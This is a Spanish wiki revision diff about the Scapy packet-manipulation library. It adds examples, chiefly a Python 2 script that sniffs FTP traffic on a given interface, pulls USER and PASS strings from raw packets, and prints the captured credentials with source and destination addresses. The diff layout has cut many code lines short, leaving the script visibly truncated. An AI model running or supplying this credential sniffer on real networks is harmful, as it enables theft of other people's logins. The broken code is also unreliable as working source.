enlaces:utilidades_de_red:scapy
Diferencias
Muestra las diferencias entre dos versiones de la página.
Próxima revisión | Revisión previaPróxima revisiónAmbos lados, revisión siguiente | ||
enlaces:utilidades_de_red:scapy [2018/11/22 16:08] – creado cayu | enlaces:utilidades_de_red:scapy [2018/11/22 16:54] – cayu | ||
---|---|---|---|
Línea 1: | Línea 1: | ||
====== Scapy ====== | ====== Scapy ====== | ||
Scapy es una herramienta de manipulación de paquetes de red, escrita en Python. Puede falsear o decodificar paquetes, enviarlos, capturarlos y hacer coincidir solicitudes y respuestas. | Scapy es una herramienta de manipulación de paquetes de red, escrita en Python. Puede falsear o decodificar paquetes, enviarlos, capturarlos y hacer coincidir solicitudes y respuestas. | ||
+ | ===== Ejemplos ===== | ||
+ | ==== Sniffer ==== | ||
+ | <code python> | ||
+ | sniff(iface="< | ||
+ | </ | ||
+ | Python/ | ||
+ | <code python> | ||
+ | #! / | ||
+ | |||
+ | import sys | ||
+ | from logging import getLogger, ERROR | ||
+ | getLogger(' | ||
+ | try: | ||
+ | from scapy.all import * | ||
+ | except ImportError: | ||
+ | print '[!] Error: Scapy Installation Not Found' | ||
+ | sys.exit(1) | ||
+ | |||
+ | interface = sys.argv[1] | ||
+ | |||
+ | usernames = [' | ||
+ | passwords = [' | ||
+ | |||
+ | def check_login(pkt, | ||
+ | try: | ||
+ | if ' | ||
+ | print '[*] Valid Credentials Found... ' | ||
+ | print '\t[*] ' + str(pkt[IP].dst).strip() + ' -> ' + str(pkt[IP].src).strip() + ':' | ||
+ | print ' | ||
+ | print ' | ||
+ | return | ||
+ | else: | ||
+ | return | ||
+ | except Exception: | ||
+ | return | ||
+ | |||
+ | def check_for_ftp(pkt): | ||
+ | if pkt.haslayer(TCP) and pkt.haslayer(Raw): | ||
+ | if pkt[TCP].dport == 21 or pkt[TCP].sport == 21: | ||
+ | return True | ||
+ | else: | ||
+ | return False | ||
+ | else: | ||
+ | return False | ||
+ | |||
+ | def check_pkt(pkt): | ||
+ | if check_for_ftp(pkt): | ||
+ | pass | ||
+ | else: | ||
+ | return | ||
+ | data = pkt[Raw].load | ||
+ | if 'USER ' in data: | ||
+ | usernames.append(data.split(' | ||
+ | elif 'PASS ' in data: | ||
+ | passwords.append(data.split(' | ||
+ | else: | ||
+ | check_login(pkt, | ||
+ | return | ||
+ | |||
+ | print '[*] Sniffing Started on %s... \n' % interface | ||
+ | try: | ||
+ | sniff(iface=interface, | ||
+ | except Exception: | ||
+ | print '[!] Error: Failed to Initialize Sniffing' | ||
+ | sys.exit(1) | ||
+ | print '\n[*] Sniffing Stopped' | ||
+ | </ | ||
+ | ==== Ping ==== | ||
+ | <code python> | ||
+ | sr(IP(dst=" | ||
+ | </ |